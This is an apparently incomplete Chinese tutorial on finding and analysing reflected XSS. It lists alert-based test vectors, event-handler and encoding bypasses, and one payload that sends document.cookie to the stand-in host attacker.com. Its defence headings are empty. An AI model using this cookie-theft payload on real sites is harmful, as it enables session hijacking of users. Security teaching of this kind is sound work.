反射型XSS(跨站脚本攻击)是一种常见的Web安全漏洞,以下是系统分析反射型XSS的方法:
// 基础测试向量
<script>alert(1)</script>
"><script>alert(1)</script>
javascript:alert(1)
// 事件处理器测试
" onmouseover="alert(1)
' onerror='alert(1)
// 编码绕过测试
%3Cscript%3Ealert(1)%3C/script%3E
<script>alert(1)</script>
输入点识别:
上下文分析:
过滤机制分析:
基本利用:
<script>document.location='http://attacker.com/?c='+document.cookie</script>
高级利用:
输入验证:
输出编码:
安全头设置:
框架保护:
示例漏洞URL:
https://example.com/search?query=<script>alert(document.cookie)</script>
分析步骤: 1. 发现查询参数直接反射到页面 2. 确认无输入过滤和输出编码 3. 验证多种payload执行情况 4. 评估潜在危害(会话劫持等)
通过系统化的分析方法,可以全面评估反射型XSS漏洞的存在和危害程度,从而采取适当的防护措施。